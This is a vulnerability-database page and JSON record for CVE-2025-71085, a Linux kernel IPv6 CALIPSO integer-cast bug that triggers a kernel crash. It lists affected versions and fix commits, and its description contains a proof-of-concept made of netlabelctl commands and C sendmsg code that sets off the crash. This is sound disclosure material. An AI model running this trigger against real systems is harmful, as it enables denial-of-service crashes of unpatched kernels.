CVE-2025-71085 (GCVE-0-2025-71085)

Vulnerability from cvelistv5 – Published: 2026-01-13 15:34 – Updated: 2026-01-13 15:34
VLAI?
Title
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
Summary
In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);
Severity ?
No CVSS data available.
Assigner
References
Impacted products
Vendor Product Version
Linux Linux Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 2bb759062efa188ea5d07242a43e5aa5464bbae1 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < c53aa6a5086f03f19564096ee084a202a8c738c0 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < bf3709738d8a8cc6fa275773170c5c29511a0b24 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 73744ad5696dce0e0f43872aba8de6a83d6ad570 (git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 58fc7342b529803d3c221101102fe913df7adb83 (git)
Create a notification for this product.
    Linux Linux Affected: 4.8
Unaffected: 0 , < 4.8 (semver)
Unaffected: 6.1.160 , ≤ 6.1.* (semver)
Unaffected: 6.6.120 , ≤ 6.6.* (semver)
Unaffected: 6.12.64 , ≤ 6.12.* (semver)
Unaffected: 6.18.4 , ≤ 6.18.* (semver)
Unaffected: 6.19-rc4 , ≤ * (original_commit_for_fix)
Create a notification for this product.
Show details on NVD website
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/calipso.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2bb759062efa188ea5d07242a43e5aa5464bbae1",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
              "lessThan": "c53aa6a5086f03f19564096ee084a202a8c738c0",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
              "lessThan": "bf3709738d8a8cc6fa275773170c5c29511a0b24",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
              "lessThan": "73744ad5696dce0e0f43872aba8de6a83d6ad570",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            },
            {
              "lessThan": "58fc7342b529803d3c221101102fe913df7adb83",
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/calipso.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.8"
            },
            {
              "lessThan": "4.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.160",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.120",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.64",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.19-rc4",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.160",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.120",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.64",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.4",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.19-rc4",
                  "versionStartIncluding": "4.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-13T15:34:48.324Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1"
        },
        {
          "url": "https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0"
        },
        {
          "url": "https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24"
        },
        {
          "url": "https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570"
        },
        {
          "url": "https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83"
        }
      ],
      "title": "ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-71085",
    "datePublished": "2026-01-13T15:34:48.324Z",
    "dateReserved": "2026-01-13T15:30:19.649Z",
    "dateUpdated": "2026-01-13T15:34:48.324Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2025-71085\",\"sourceIdentifier\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"published\":\"2026-01-13T16:16:08.117\",\"lastModified\":\"2026-01-13T16:16:08.117\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"In the Linux kernel, the following vulnerability has been resolved:\\n\\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\\n\\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\\nnet/core/skbuff.c:2232 in pskb_expand_head().\\nThis bug is triggered as part of the calipso_skbuff_setattr()\\nroutine when skb_cow() is passed headroom \u003e INT_MAX\\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\\n\\nThe root cause of the bug is due to an implicit integer cast in\\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\\nbecomes negative, and pskb_expand_head() is passed a negative value for\\nnhead.\\n\\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\\n\\\"negative\\\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\\nby only using skb_cow() to grow headroom.\\n\\nPoC:\\n\\tUsing `netlabelctl` tool:\\n\\n        netlabelctl map del default\\n        netlabelctl calipso add pass doi:7\\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\\n\\n        Then run the following PoC:\\n\\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\\n\\n        // setup msghdr\\n        int cmsg_size = 2;\\n        int cmsg_len = 0x60;\\n        struct msghdr msg;\\n        struct sockaddr_in6 dest_addr;\\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\\n                        sizeof(struct cmsghdr) + cmsg_len);\\n        msg.msg_name = \u0026dest_addr;\\n        msg.msg_namelen = sizeof(dest_addr);\\n        msg.msg_iov = NULL;\\n        msg.msg_iovlen = 0;\\n        msg.msg_control = cmsg;\\n        msg.msg_controllen = cmsg_len;\\n        msg.msg_flags = 0;\\n\\n        // setup sockaddr\\n        dest_addr.sin6_family = AF_INET6;\\n        dest_addr.sin6_port = htons(31337);\\n        dest_addr.sin6_flowinfo = htonl(31337);\\n        dest_addr.sin6_addr = in6addr_loopback;\\n        dest_addr.sin6_scope_id = 31337;\\n\\n        // setup cmsghdr\\n        cmsg-\u003ecmsg_len = cmsg_len;\\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\\n\\n        sendmsg(fd, \u0026msg, 0);\"}],\"metrics\":{},\"references\":[{\"url\":\"https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\"},{\"url\":\"https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\"},{\"url\":\"https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\"},{\"url\":\"https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\"},{\"url\":\"https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\"}]}}"
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.